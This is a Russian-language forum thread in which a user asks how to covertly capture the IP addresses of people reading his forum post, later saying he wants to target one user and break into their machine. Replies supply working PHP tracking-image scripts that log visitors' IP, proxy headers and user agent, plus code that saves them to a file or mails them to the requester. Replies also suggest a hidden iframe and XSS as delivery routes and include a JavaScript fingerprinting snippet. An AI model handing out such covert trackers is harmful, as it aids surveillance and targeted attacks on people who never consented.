Здравствуйте. Народ, подскажите пожалуйста, как написать скрипт на PHP, PERL, MySQL, JavaScript чтобы с помощью него можно было узнать ip человека зашедшего на форум и читающего моё сообщение.? Можно ли сделать так, чтобы ip автоматически отправлялся на почту, сайт или даже аську. И еще, я видел как создаются такие ссылки, которые автоматически при переходе по ней узнается пароль, логин, ip, причем это можно в аське, форуме и почте. Подскажите как написать и что для этого нужно.
PHP : $_SERVER['REMOTE_ADDR'] - переменная в которой храниться IP зашедшего пользователя На страничке сообщения берёшь IP из этой переменной и где угодно используешь, хоть отсылай по мылу Изучай XSS или как работают трояны в разделе Уязвимости
Если тебя потянуло на корректность, то это - значение индекса REMOTE_ADDR суперглобального массива $_SERVER. Не надо придираться к словам. Массив - это тоже переменная.
давай теперь массивы и их индексы называть переменными ведь они начинаются со знака доллара($). PHP: $array=array(1,2,3,4,5);//В РНР переменные начинаются со знака доллара ($).(с)Mailbrush. echo $array[0];//выводим значение переменной с индексом 0 переменной $array (В РНР переменные начинаются со знака доллара ($).(с)Mailbrush) Массив-это тип переменной но никак не переменная.
Мне желательно чтобы это скрытно было и без меня. Т.е. зашел человек на форум почитать мое сообщение и его ip высылался бы автоматически например на сайт или почту. Можно ли так зделать?
свободно особенно если ты хозяин форума ) а если нет, это реально если на форуме есть XSS - если тебе нужен ip можно вставить скрытый iframe вот что можно узнать с помощью js Code: <script language='javascript'> document.write('<table border="0" cellspacing="0" cellpadding="5">'); document.write('<tr><td>Agent Name:</td><td nowrap>'+window.navigator.appName+'</td></tr>'); document.write('<tr><td>Agent Version:</td><td nowrap>'+window.navigator.appVersion+'</td></tr>'); document.write('<tr><td>Agent CodeName:</td><td nowrap>'+window.navigator.appCodeName+'</td></tr>'); document.write('<tr><td>Platform:</td><td nowrap>'+window.navigator.platform+'</td></tr>'); document.write('<tr><td>User agent:</td><td nowrap>'+window.navigator.userAgent+'</td></tr>'); document.write('<tr><td>Language:</td><td nowrap>'+window.navigator.userLanguage+'</td></tr>'); document.write('<tr><td>Cookie enabled:</td><td nowrap>'+window.navigator.cookieEnabled+'</td></tr>'); document.write('</table>'); </script> ну а вот тебе скриптос для ифрейма на php PHP: <?php $ip=array('ip'=>$_SERVER['REMOTE_ADDR'],'ipp'=>$_SERVER['HTTP_VIA'],'ipf'=>$_SERVER['HTTP_X_FORWARDED_FOR'],'ua'=>$_SERVER["HTTP_USER_AGENT"]); foreach($ip as $k=>$v){if(!$v){$ip[$k]='<font color=grey>unknown</font>';}} echo '<table border="0" cellspacing="0" cellpadding="5"> <tr><td>IP:</td><td nowrap>'.$ip['ip'].'</td></tr> <tr><td nowrap>IP proxy:</td><td nowrap>'.$ip['ipp'].'</td></tr> <tr><td nowrap>IP forward:</td><td nowrap>'.$ip['ipf'].'</td></tr> </table>'; ?> хм пока печатал вспомнил кое что... на форумах часто можно указывать URL на свой аватар или включать в сообщения свои картинки... почему бы эту картинку не генерировать php скриптом? тоже свободно ) PHP: <?php $im = @imagecreate (200, 50) or die ("Cannot Initialize new GD image stream"); $background_color = imagecolorallocate ($im, 255, 255, 255); $text_color = imagecolorallocate ($im, 0, 0, 0); $ip=array( 'ip'=>$_SERVER['REMOTE_ADDR'], 'ipp'=>$_SERVER['HTTP_VIA'], 'ipf'=>$_SERVER['HTTP_X_FORWARDED_FOR'], 'ua'=>$_SERVER["HTTP_USER_AGENT"]); $x=$y=5; foreach($ip as $k=>$v){ if(!$v){$v='unknown';} imagestring ($im, 1, $x, $y, $v, $text_color); $y+=10; } header("Content-type: image/jpeg"); imagejpeg ($im); imagedestroy ($im); exit(); ?> можешь свою картинку любую выводить ) можно даже просто PHP: //злые дейтсвия по определению IP и отправки его тебе... а патом header("Content-type: image/jpeg"); echo implode("",file("img.jpg")); exit;
Спасибо. Картинка-это хорошо, там мой ip. А вот как теперь отсылать скрытно на сайт или почту? (а если в аську можно то ваще улет).
ну такой скрипт тебе в любом случае нужно будет у себя размещать почему бы тупо не записывать ip в файл? fopen fwrite fclose PHP: $fp=fopen("b.txt", "a+"); fwrite($fp, $ip."\n"); fclose($fp); // так вот мылом отправляется уведомление mail("твое мыло@mail.ru", "Тема письма", "содержание ".$ip."\n" , "From: поле от кого ну тут красиво можешь написать ченить типа от моего сниффера\r\n"); по хорошему еще бы запихнул проверку на повторяющиеся ip. захочешь можешь писать в базу данных захочешь можешь отправлять на мыло... аська это замарот но при желании тоже можно сделать... а вообще если ты снимаешь хостинг там есть логи сервера... там записано время IP обозреватель и путь куда обращались... просто посмотри кто к твоей картинке и когда обращался это одна серверная команда cat log_apache | grep myimg.jpg > ip_list.txt а так я хз зачем тебе ip адреса - максимум ты сможешь узнать провайдера
Ох, я то забыл написать, что надо указать пользователя форума, а то я лишних айпишников наберу и не найду нужный. А потом я думаю узнать диапазон и как-то взломать напрямую, если получится.
PS: А нет, я не ошибся, продолжу спор о массивах. http://ua.php.net/manual/ru/language.variables.superglobals.php Или PHP.net тоже врет?